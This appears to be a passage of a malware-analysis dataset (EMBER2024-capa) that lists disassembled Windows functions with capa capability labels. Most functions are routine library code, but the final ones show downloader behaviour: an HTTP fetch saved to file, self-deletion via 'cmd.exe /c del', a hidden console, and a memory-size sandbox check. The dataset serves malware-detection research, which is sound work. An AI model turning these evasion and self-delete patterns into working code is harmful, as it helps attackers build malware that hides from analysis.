joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41a928
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x42609c
call fcn.0040d9e4
sub esp, 0x18
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0x58]
mov ebx, dword [esi + 0x5c]
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], eax
call fcn.004233ae
cmp dword [esi + 0x54], 0
mov edi, dword [eax + 0xc]
je 0x41a968
call fcn.004233ae
mov edi, dword [eax + 0xc]
push 5
push dword [esi + 0x54]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x41a979
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x41a985
or eax, 0xffffffff
jmp 0x41aa88
mov ecx, esi
call fcn.0041a45a
mov dword [ebp - 0x14], eax
call fcn.0041c1d2
and dword [ebp - 0x20], 0
cmp dword [ebp - 0x14], 0
je 0x41a9c8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [ebp - 0x14], eax
je 0x41a9c8
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x41a9c8
push 0
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
and dword [ebp - 4], 0
push esi
call fcn.0041d3db
push dword [ebp - 0x14]
call fcn.0041c12a
push edi
push eax
push ebx
mov ecx, esi
call fcn.0041a70d
xor ebx, ebx
cmp eax, ebx
je 0x41aa3c
test byte [esi + 0x38], 0x10
je 0x41aa0a
push 4
pop edi
mov ecx, esi
call fcn.0041e201
test ah, 1
je 0x41aa02
push 5
pop edi
push edi
mov ecx, esi
call fcn.0041bbce
cmp dword [esi + 0x1c], ebx
je 0x41aa3c
push 0x97
push ebx
push ebx
push ebx
push ebx
push ebx
mov ecx, esi
call fcn.0041e3d6
jmp 0x41aa3c
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], ebx
je 0x41aa50
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], ebx
je 0x41aa69
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x41aa69
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x60]
mov ecx, esi
call fcn.0041a494
cmp dword [esi + 0x54], ebx
je 0x41aa85
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [esi + 0x40]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x41dd47
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x41dd8a
call fcn.004233ae
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x41dd8a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41dda5
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.0041ceac
test ebx, ebx
mov esi, eax
je 0x41dda3
test edi, edi
je 0x41dda3
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x41e842
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x4261f6
call fcn.0040d9e4
push ecx
push esi
mov esi, ecx
cmp dword [esi + 0x4c], 0
jne 0x41e85c
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x41e8a8
call fcn.0041e0ce
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov ecx, dword [esi + 0x4c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push dword [ebp + 0xc]
push dword [ebp - 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004012f0
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret 8

Function at 0x41ee17
Capabilities:
Get disk information

Disassembly:
mov eax, 0x426267
call fcn.0040d9e4
sub esp, 0x150
mov eax, dword [0x4320f8]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x154]
push eax
push edi
mov esi, 0x104
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
xor ebx, ebx
cmp eax, ebx
jne 0x41ee5f
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
jmp 0x41ee63
cmp eax, esi
jb 0x41ee6a
xor eax, eax
jmp 0x41ef3f
call fcn.0041e0ce
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
push edi
mov dword [ebp - 4], ebx
call fcn.0041edd5
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathIsUNCA]
test eax, eax
jne 0x41ef2f
push ebx
push ebx
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x15c]
push eax
push ebx
push ebx
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x41eebe
xor esi, esi
jmp 0x41ef32
test byte [ebp - 0x158], 2
jne 0x41eece
push edi
call dword [sym.imp.USER32.dll_CharUpperA]
test byte [ebp - 0x158], 4
jne 0x41ef2f
lea eax, [ebp - 0x150]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x41ef2f
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp - 0x154], ebx
je 0x41eeba
cmp dword [ebp - 0x154], edi
jbe 0x41eeba
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
sub eax, edi
add eax, dword [ebp - 0x154]
cmp eax, esi
jge 0x41eeba
lea eax, [ebp - 0x124]
push eax
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor esi, esi
inc esi
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004012f0
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.0040d99f
leave
ret 8
Function at 0x41fbff
Capabilities:
Check if file exists
Get file attributes
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x128
xor ebx, ebx
push ebx
push esi
mov edi, ecx
call fcn.0040e030
add esp, 0xc
push 0x104
push dword [edi + 0xc]
lea eax, [esi + 0x22]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [edi + 4]
cmp eax, dword [0x428f50]
je 0x41fd06
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x41fc6f
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], ebx
jne 0x41fc76
cmp ebx, ebx
jne 0x41fc76
xor eax, eax
jmp 0x41fd09
mov edi, dword [edi + 0xc]
cmp dword [edi - 0xc], ebx
jne 0x41fc83
mov byte [esi + 0x20], bl
jmp 0x41fc97
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
sete cl
dec cl
and ecx, eax
mov byte [esi + 0x20], cl
push 0xffffffffffffffff
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040c4cb
mov ecx, dword [eax]
mov dword [esi], ecx
mov eax, dword [eax + 4]
mov dword [esi + 4], eax
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040c4cb
mov ecx, dword [eax]
mov dword [esi + 0x10], ecx
mov eax, dword [eax + 4]
mov dword [esi + 0x14], eax
push 0xffffffffffffffff
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040c4cb
mov ecx, dword [eax]
mov dword [esi + 8], ecx
mov ecx, dword [eax + 4]
mov dword [esi + 0xc], ecx
mov ecx, dword [esi]
or ecx, dword [esi + 4]
jne 0x41fcf2
mov ecx, dword [eax]
mov dword [esi], ecx
mov eax, dword [eax + 4]
mov dword [esi + 4], eax
mov eax, dword [esi + 0x10]
or eax, dword [esi + 0x14]
jne 0x41fd06
mov eax, dword [esi + 8]
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0xc]
mov dword [esi + 0x14], eax
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x42090b
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x4320f8]
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
mov eax, pe_nt_image_headers32
cmp esi, eax
ja 0x42095a
push eax
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, esi
jne 0x42095a
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x420966
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov ecx, dword [ebp - 4]
pop esi
call fcn.0040d99f
leave
ret 8
Function at 0x42155d
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4320f8]
push esi
mov esi, ecx
cmp dword [esi + 0x50], 0
mov dword [ebp - 4], eax
je 0x4215aa
push dword [ebp + 8]
call fcn.00423598
mov esi, eax
test esi, esi
je 0x4215d2
push edi
push 4
lea eax, [ebp + 0x10]
push eax
push 4
push 0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test edi, edi
sete al
pop edi
jmp 0x4215d2
push dword [ebp + 0x10]
lea eax, [ebp - 0x14]
push 0x428e98
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push dword [esi + 0x64]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [ebp - 4]
pop esi
call fcn.0040d99f
leave
ret 0xc

Function at 0x421d3e
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
cmp dword [ebp + 0xc], 0x800
mov eax, dword [0x4320f8]
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
jne 0x421d9c
push 0x42792c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
mov esi, 0x112
lea eax, [ebp - 0x118]
push esi
push eax
call fcn.0040d917
add esp, 0x10
cmp eax, 0xffffffff
je 0x421db0
cmp eax, esi
jae 0x421db0
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x421db2
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x421d67
jmp 0x421db3
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
call fcn.0040d99f
leave
ret
Function at 0x421dd3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x4320f8]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ebx, ebx
push str.kernel32.dll
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ebx
xor esi, esi
call edi
push str.GetUserDefaultUILanguage
push eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x421e75
call eax
mov esi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov ebx, 0x3ff
mov edi, 0xfc00
mov dword [ebp - 0x18], eax
movzx eax, ax
mov ecx, eax
and ecx, ebx
movzx ecx, cx
and eax, edi
or eax, ecx
push eax
mov dword [ebp - 0x1c], ecx
call esi
push dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
call esi
push str.GetSystemDefaultUILanguage
push dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov dword [ebp - 0x18], eax
movzx eax, ax
mov ecx, eax
and ecx, ebx
movzx ebx, cx
and eax, edi
or eax, ebx
push eax
call esi
push ebx
mov dword [ebp - 0x34], eax
call esi
mov dword [ebp - 0x30], eax
push 4
xor ebx, ebx
jmp 0x421f77
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
jns 0x421f25
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push ebx
push str.Control_PanelDesktopResourceLocale
push SysReAllocStringLen
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x421f78
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
push ebx
push dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x10
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x421f1a
cmp dword [ebp - 0x24], 1
jne 0x421f1a
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push 0x42793c
push eax
call fcn.0040d9ad
add esp, 0xc
cmp eax, 1
jne 0x421f1a
mov eax, dword [ebp - 0x28]
mov esi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov dword [ebp - 0x18], eax
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
movzx edi, cx
and eax, 0xfc00
or eax, edi
push eax
call esi
push edi
mov dword [ebp - 0x3c], eax
call esi
push 2
mov dword [ebp - 0x38], eax
pop esi
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x421f78
push str.ntdll.dll
call edi
cmp eax, ebx
je 0x421f78
lea ecx, [ebp - 0x18]
push ecx
push 0x421dbd
push 1
push 0x10
push eax
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesA]
cmp word [ebp - 0x18], bx
je 0x421f78
movzx eax, word [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov ecx, eax
and ecx, 0x3ff
movzx edi, cx
and eax, 0xfc00
or eax, edi
push eax
call esi
push edi
mov dword [ebp - 0x3c], eax
call esi
mov dword [ebp - 0x38], eax
push 2
pop esi
mov dword [ebp + esi*4 - 0x3c], 0x800
inc esi
xor edi, edi
cmp esi, ebx
jle 0x421f9e
push dword [ebp + edi*4 - 0x3c]
push dword [ebp + 8]
call fcn.00421d3e
cmp eax, ebx
pop ecx
pop ecx
jne 0x421fa0
inc edi
cmp edi, esi
jl 0x421f87
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0040d99f
leave
ret 4
Function at 0x421faf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
xor edi, edi
mov dword [ecx + 0x9c], edi
cmp dword [str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
mov ebx, 0x431120
je 0x42206b
push esi
lea eax, [ebp - 4]
push eax
push 1
push edi
push dword [ebx]
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x422053
mov esi, dword [ebx + 4]
jmp 0x42204d
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x42203d
cmp dword [ebp - 0xc], 4
jne 0x42203d
cmp dword [ebp - 8], edi
mov eax, dword [ebp - 0x10]
mov ecx, dword [esi + 4]
je 0x422035
or dword [eax + 0x9c], ecx
jmp 0x42203d
not ecx
and dword [eax + 0x9c], ecx
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
add esi, 8
mov eax, dword [esi]
cmp eax, edi
jne 0x422001
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 8
cmp dword [ebx], edi
mov dword [ebp - 4], edi
jne 0x421fe4
pop esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
inc eax
pop ebx
leave
ret

Function at 0x422458
Capabilities:
Query or enumerate registry key

Disassembly:
mov eax, 0x426004
call fcn.0040d9e4
sub esp, 0x11c
mov eax, dword [0x4320f8]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x124]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, eax
test esi, esi
jne 0x422551
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov esi, eax
test esi, esi
jne 0x422525
and dword [ebp - 4], eax
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x120]
call fcn.00402300
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x124]
mov byte [ebp - 4], 1
call fcn.00422458
mov ecx, dword [ebp - 0x120]
mov esi, eax
test esi, esi
setne bl
add ecx, 0xfffffff0
mov byte [ebp - 4], 0
call fcn.004012f0
test bl, bl
jne 0x422525
or dword [ebp - 4], 0xffffffff
jmp 0x422496
cmp esi, 0x103
je 0x422535
cmp esi, 0x3f2
jne 0x422545
mov eax, dword [ebp + 0xc]
push dword [eax]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov eax, esi
call fcn.0040d99f
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x423712
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [esp + 0x10]
test edi, edi
jle 0x423747
cmp edi, dword [esi + 0xc]
jge 0x423747
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x423747
cmp edi, dword [eax + 8]
jge 0x423747
mov eax, dword [eax + 0xc]
mov edi, dword [eax + edi*4]
jmp 0x423749
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
ret 4

Function at 0x42384d
Capabilities:
Allocate thread local storage

Disassembly:
xor eax, eax
push esi
mov esi, ecx
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x18], 4
mov dword [esi + 4], eax
mov dword [esi + 8], 1
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x423881
jmp fcn.00418c2f
lea eax, [esi + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
ret

Function at 0x4238f2
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x1c]
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
xor ebx, ebx
cmp eax, ebx
jle 0x4239eb
cmp eax, dword [edi + 0xc]
jge 0x4239eb
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
cmp esi, ebx
je 0x423943
mov ecx, dword [ebp + 8]
cmp ecx, dword [esi + 8]
jl 0x4239d4
cmp dword [ebp + 0xc], ebx
je 0x4239d4
jmp 0x42396d
push 0x10
call fcn.004235de
cmp eax, ebx
je 0x423959
mov ecx, eax
call fcn.00423844
mov esi, eax
jmp 0x42395b
xor esi, esi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x18]
mov dword [esi + eax], ecx
mov dword [edi + 0x14], esi
mov eax, dword [esi + 0xc]
cmp eax, ebx
jne 0x423984
mov eax, dword [edi + 0xc]
shl eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x423994
mov ecx, dword [edi + 0xc]
push 2
shl ecx, 2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
cmp eax, ebx
jne 0x4239a6
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.00418c2f
mov ecx, dword [esi + 8]
mov dword [esi + 0xc], eax
mov edx, dword [edi + 0xc]
sub edx, ecx
shl edx, 2
push edx
lea eax, [eax + ecx*4]
push ebx
push eax
call fcn.0040e030
mov eax, dword [edi + 0xc]
add esp, 0xc
push esi
mov dword [esi + 8], eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x4239e6
cmp ecx, dword [esi + 8]
jge 0x4239e6
mov edx, dword [ebp + 0xc]
mov dword [eax + ecx*4], edx
push dword [ebp - 4]
jmp 0x4239ec
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x423aab
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x423ad9
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x423af7
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00423a15
jmp 0x423af7
mov eax, dword [esi + 0x14]
test eax, eax
je 0x423af7
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00423a15
test edi, edi
mov eax, edi
jne 0x423ae1
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x434cfc]
test ecx, ecx
je 0x423baa
jmp 0x423aaa
ret 8
Function at 0x402cb0
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427210
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4d8
push 0
push 0
push 0
push 1
push str.Mozilla_5.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x402de3
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x34]
push ecx
call fcn.00402b40
add esp, 8
mov dword [ebp - 0x1c], eax
push 0
push 0x80000000
push 0
push 0
mov ecx, dword [ebp - 0x1c]
call fcn.00405040
push eax
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x34]
call fcn.004051d0
cmp dword [ebp - 0x14], 0
je 0x402dd9
push 1
push 0x40
push 0x20
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0xe4]
call fcn.00404bb0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0xe4]
mov edx, dword [ecx + 4]
lea ecx, [ebp + edx - 0xe4]
call fcn.00402680
movzx eax, al
test eax, eax
je 0x402dbd
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 0x10]
push ecx
push 0x400
lea edx, [ebp - 0x4e4]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402db2
cmp dword [ebp - 0x10], 0
jbe 0x402db2
mov ecx, dword [ebp - 0x10]
xor edx, edx
push edx
push ecx
lea eax, [ebp - 0x4e4]
push eax
lea ecx, [ebp - 0xe4]
call fcn.00404d10
jmp 0x402d73
lea ecx, [ebp - 0xe4]
call fcn.00404b00
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe4]
call fcn.00402e00
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x402e30
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
call fcn.00411363
mov eax, dword [eax]
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
call fcn.00411363
mov ecx, dword [eax]
push ecx
push str._c_del__q__s
lea edx, [ebp - 0x110]
push edx
call fcn.00401170
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403510
Capabilities:
Get memory capacity
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x4c], 0x40
lea ecx, [ebp - 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
ja 0x40357d
jb 0x403559
cmp dword [ebp - 0xc], 0x80000000
ja 0x40357d
push 0x407c60
push str.Memory_is_less_than_or_equal_to_4GB._Exiting...
push 0x438048
call fcn.00407950
add esp, 8
mov ecx, eax
call fcn.00404e40
xor eax, eax
jmp 0x4035a3
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004031b0
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00402e30
jmp 0x4035a1
xor eax, eax
mov esp, ebp
pop ebp
ret